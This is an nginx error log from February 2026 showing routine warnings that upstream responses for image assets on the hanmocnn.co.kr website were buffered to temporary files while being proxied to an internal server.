2026/02/16 19:33:39 [warn] 884#884: *39364 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/9/86/0000010869 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 19:34:34 [warn] 884#884: *39364 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/0/87/0000010870 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 19:34:34 [warn] 884#884: *39364 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/1/87/0000010871 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 19:38:52 [warn] 884#884: *39387 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/2/87/0000010872 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 19:38:52 [warn] 884#884: *39387 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/3/87/0000010873 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 19:38:52 [warn] 884#884: *39387 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/4/87/0000010874 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 19:38:53 [warn] 884#884: *39387 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/5/87/0000010875 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 19:40:25 [warn] 884#884: *39399 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/6/87/0000010876 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 19:40:25 [warn] 884#884: *39399 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/87/0000010877 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 19:51:46 [warn] 884#884: *39417 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/87/0000010878 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 19:51:46 [warn] 884#884: *39417 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/9/87/0000010879 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 19:51:46 [warn] 884#884: *39417 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/0/88/0000010880 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:13:54 [warn] 882#882: *39438 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/1/88/0000010881 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:13:54 [warn] 882#882: *39438 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/2/88/0000010882 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:14:52 [warn] 882#882: *39438 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/3/88/0000010883 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:20:12 [warn] 882#882: *39462 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/4/88/0000010884 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:20:12 [warn] 882#882: *39462 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/5/88/0000010885 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:22:41 [warn] 882#882: *39476 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/6/88/0000010886 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:22:41 [warn] 882#882: *39476 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/88/0000010887 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:22:41 [warn] 882#882: *39476 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/88/0000010888 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:22:41 [warn] 882#882: *39476 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/9/88/0000010889 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:24:17 [warn] 882#882: *39491 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/0/89/0000010890 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:24:17 [warn] 882#882: *39491 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/1/89/0000010891 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:24:17 [warn] 882#882: *39491 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/2/89/0000010892 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:24:17 [warn] 882#882: *39491 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/3/89/0000010893 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:37:34 [warn] 883#883: *39538 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/4/89/0000010894 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:37:34 [warn] 883#883: *39538 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/5/89/0000010895 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:37:35 [warn] 883#883: *39538 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/6/89/0000010896 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:41:44 [warn] 883#883: *39556 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/89/0000010897 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:41:44 [warn] 883#883: *39556 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/89/0000010898 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:41:44 [warn] 883#883: *39556 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/9/89/0000010899 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:41:44 [warn] 883#883: *39556 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/0/90/0000010900 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:42:25 [warn] 883#883: *39556 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/1/90/0000010901 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:42:25 [warn] 883#883: *39556 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/2/90/0000010902 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:44:45 [warn] 883#883: *39581 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/3/90/0000010903 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:44:45 [warn] 883#883: *39581 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/4/90/0000010904 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:44:45 [warn] 883#883: *39581 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/5/90/0000010905 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:44:45 [warn] 883#883: *39581 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/6/90/0000010906 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:53:42 [warn] 883#883: *39595 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/90/0000010907 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:53:42 [warn] 883#883: *39595 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/90/0000010908 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 20:54:01 [warn] 883#883: *39595 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/9/90/0000010909 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:00:42 [warn] 883#883: *39618 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/0/91/0000010910 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:05:01 [warn] 886#886: *39631 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/1/91/0000010911 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:05:01 [warn] 886#886: *39631 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/2/91/0000010912 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:47:16 [warn] 886#886: *39665 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/3/91/0000010913 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:47:16 [warn] 886#886: *39665 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/4/91/0000010914 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:47:16 [warn] 886#886: *39665 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/5/91/0000010915 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:47:16 [warn] 886#886: *39665 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/6/91/0000010916 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:47:16 [warn] 886#886: *39665 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/91/0000010917 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:49:42 [warn] 886#886: *39677 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/91/0000010918 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:49:42 [warn] 886#886: *39677 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/9/91/0000010919 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:49:43 [warn] 886#886: *39677 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/0/92/0000010920 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:56:10 [warn] 886#886: *39690 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/1/92/0000010921 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:56:10 [warn] 886#886: *39690 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/2/92/0000010922 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:56:10 [warn] 886#886: *39690 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/3/92/0000010923 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:56:11 [warn] 886#886: *39690 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/4/92/0000010924 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:56:43 [warn] 886#886: *39703 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/5/92/0000010925 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:56:43 [warn] 886#886: *39703 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/6/92/0000010926 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:57:35 [warn] 886#886: *39717 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/92/0000010927 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:59:07 [warn] 886#886: *39730 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/92/0000010928 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:59:07 [warn] 886#886: *39730 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/9/92/0000010929 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 21:59:08 [warn] 886#886: *39730 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/0/93/0000010930 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 22:06:50 [warn] 887#887: *39757 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/1/93/0000010931 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 22:10:30 [warn] 887#887: *39769 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/2/93/0000010932 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 22:10:30 [warn] 887#887: *39769 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/3/93/0000010933 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 22:52:26 [warn] 887#887: *39800 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/4/93/0000010934 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 22:52:26 [warn] 887#887: *39800 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/5/93/0000010935 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 22:58:56 [warn] 885#885: *39812 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/6/93/0000010936 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 22:58:56 [warn] 885#885: *39812 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/93/0000010937 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 22:59:53 [warn] 885#885: *39812 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/93/0000010938 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
